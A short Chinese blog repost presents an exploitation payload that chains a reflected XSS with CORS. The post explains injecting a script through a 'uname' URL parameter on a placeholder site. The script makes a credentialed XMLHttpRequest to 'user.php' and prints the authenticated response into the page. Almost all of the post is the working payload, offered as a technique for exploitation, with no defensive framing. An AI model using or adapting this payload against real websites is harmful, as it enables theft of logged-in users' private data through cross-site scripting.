其他分享
首页 > 其他分享> > CORS+XSS的漏洞利用payload

CORS+XSS的漏洞利用payload

作者:互联网

之前有人问我有没有CORS+XSS的利用姿势,翻了一下国内貌似都没有利用姿势于是就写了这篇文章!!!

首先找到一个反射xss,然后使用xss加载javascript代码达到跨域劫持目的payload如下:

http://xxx.com/index.php?uname=<script>function cors() {  var xhttp = new XMLHttpRequest();  xhttp.onreadystatechange = function() {        if (this.readyState == 4 && this.status == 200) {        alert(this.responseText);         document.getElementById("demo").innerHTML = this.responseText;        }  };  xhttp.open("GET", "http://xxx.com/user.php", true);  xhttp.withCredentials = true;  xhttp.send();}cors();</script>

标签:function,XSS,responseText,xhttp,CORS,payload
来源: https://www.cnblogs.com/Matsec/p/11295842.html